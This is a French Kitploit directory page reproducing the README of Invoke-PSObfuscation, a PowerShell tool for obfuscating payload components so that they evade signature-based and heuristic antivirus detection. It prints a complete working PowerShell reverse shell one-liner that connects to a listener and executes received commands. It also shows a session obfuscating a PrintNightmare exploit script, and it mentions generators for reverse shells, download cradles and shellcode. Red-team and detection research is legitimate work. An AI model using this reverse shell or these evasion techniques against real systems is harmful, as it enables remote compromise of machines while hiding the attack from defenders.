Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Invoke-PSObfuscation — Une approche approfondie de l'obscurcissement des composants individuels d'une charge utile PowerShell, que vous soyez sur Windows ou Kali Linux. | Kitploit
Outils/GitHubGitHub/gh0x0st/invoke-psobfuscation
Génération de PayloadsExploitationShellcodeRed TeamingDéveloppement de Charges Utiles
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

Une approche approfondie de l'obscurcissement des composants individuels d'une charge utile PowerShell, que vous soyez sur Windows ou Kali Linux.

Voir le dépôt
2845212il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Invoke-PSObfuscation

Les techniques d’obfuscation traditionnelles ont tendance à ajouter des couches pour encapsuler du code existant, comme le base64 ou la compression. Ces charges utiles continuent d’avoir un degré de succès variable, mais il est devenu trivial d’extraire la charge utile réelle et certains lanceurs sont souvent détectés, ce qui introduit des points d’étranglement.

L’approche introduite par cet outil est une méthodologie qui permet de cibler et d’obfusquer les composants individuels d’un script avec des variations aléatoires tout en conservant la même logique voulue, sans encapsuler l’intégralité de la charge utile dans une seule couche. En raison de la complexité de la logique d’obfuscation, les charges utiles obtenues seront très difficiles à signer et passeront inaperçues auprès des moteurs heuristiques qui ne sont pas programmés pour émuler la logique héritée.

Bien que ce script puisse obfusquer la plupart des charges utiles avec succès par lui‑même, ce projet servira également de framework stable que j’utiliserai pour produire des fonctions futures qui exploiteront ce framework afin de fournir des charges utiles dédiées obfusquées, comme par exemple un générateur de shells inversés.

J’ai écrit un article pour Offensive Security en préambule aux techniques introduites par cet outil. Avant d’aller plus loin, je vous suggère de le lire d’abord : https://www.offensive-security.com/offsec/powershell-obfuscation/

Payloads dédiés

Dans le cadre de mon travail continu sur l’obfuscation PowerShell, je développe des scripts qui produisent des charges utiles dédiées utilisant ce framework. Ils m’ont fait gagner du temps et j’espère qu’ils vous seront également utiles. Vous les trouverez dans leurs propres dossiers à la racine de ce dépôt.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

Composants

Comme de nombreux autres langages de programmation, PowerShell peut être décomposé en plusieurs composants qui constituent la logique exécutable. Cela permet de contourner les détections basées sur les signatures avec une relative facilité, en changeant la façon dont nous représentons les composants individuels d’une charge utile sous une forme obscure ou inintelligible.

Gardez à l’esprit que cibler tous les composants dans des charges utiles complexes est très intrusif. Cet outil est conçu pour que vous puissiez cibler les composants à obfusquer de manière contrôlée. J’ai constaté que de nombreuses signatures peuvent être contournées simplement en ciblant les cmdlets, les variables et les commentaires. Lorsque vous l’utilisez sur des charges utiles complexes, comme PrintNightmare, n’oubliez pas que les paramètres/fonctions personnalisés ainsi que les variables seront également modifiés. Assurez‑vous de tester correctement les charges utiles obtenues et d’être conscient de tout paramètre nommé modifié.

Les types de composants tels que les pipes et les variables de pipeline sont introduits ici pour rendre votre charge utile plus obscure et plus difficile à décoder.

Types pris en charge

  • Alias (iex)
  • Cmdlets (New-Object)
  • Commentaires (# et <# #>)
  • Entiers (4444)
  • Méthodes ($client.GetStream())
  • Classes d’espaces de noms (System.Net.Sockets.TCPClient)
  • Pipes (|)
  • Variables de pipeline ($_)
  • Chaînes ("valeur" | 'valeur')
  • Variables ($client)

Générateurs

Chaque composant possède son propre générateur dédié contenant une liste de valeurs possibles, statiques ou générées dynamiquement, qui sont sélectionnées aléatoirement à chaque exécution. S’il y a plusieurs occurrences d’un composant, le générateur itérera chacune d’elles individuellement. Cela ajoute un degré d’aléatoire à chaque exécution de l’outil sur une charge utile donnée, de sorte que chaque itération sera différente. La seule exception concerne les noms de variables.

Si un algorithme lié à un composant spécifique commence à faire déclencher une détection, la conception actuelle permet de modifier facilement la logique de ce générateur sans compromettre l’ensemble du script.

$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Prérequis

Ce framework et les charges utiles qui en résultent ont été testés sur les systèmes d’exploitation et versions PowerShell suivants. Les shells inversés obtenus ne fonctionneront pas avec PowerShell v2.0.

Version PSOS testéInvoke-PSObfucation.ps1Reverse Shell
7.1.3Kali 2021.2Pris en chargePris en charge
5.1.19041.1023Windows 10 10.0.19042Pris en chargePris en charge
5.1.21996.1Windows 11 10.0.21996Pris en chargePris en charge

Exemples d’utilisation

CVE-2021-34527 (PrintNightmare)

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st
Télécharger l’outil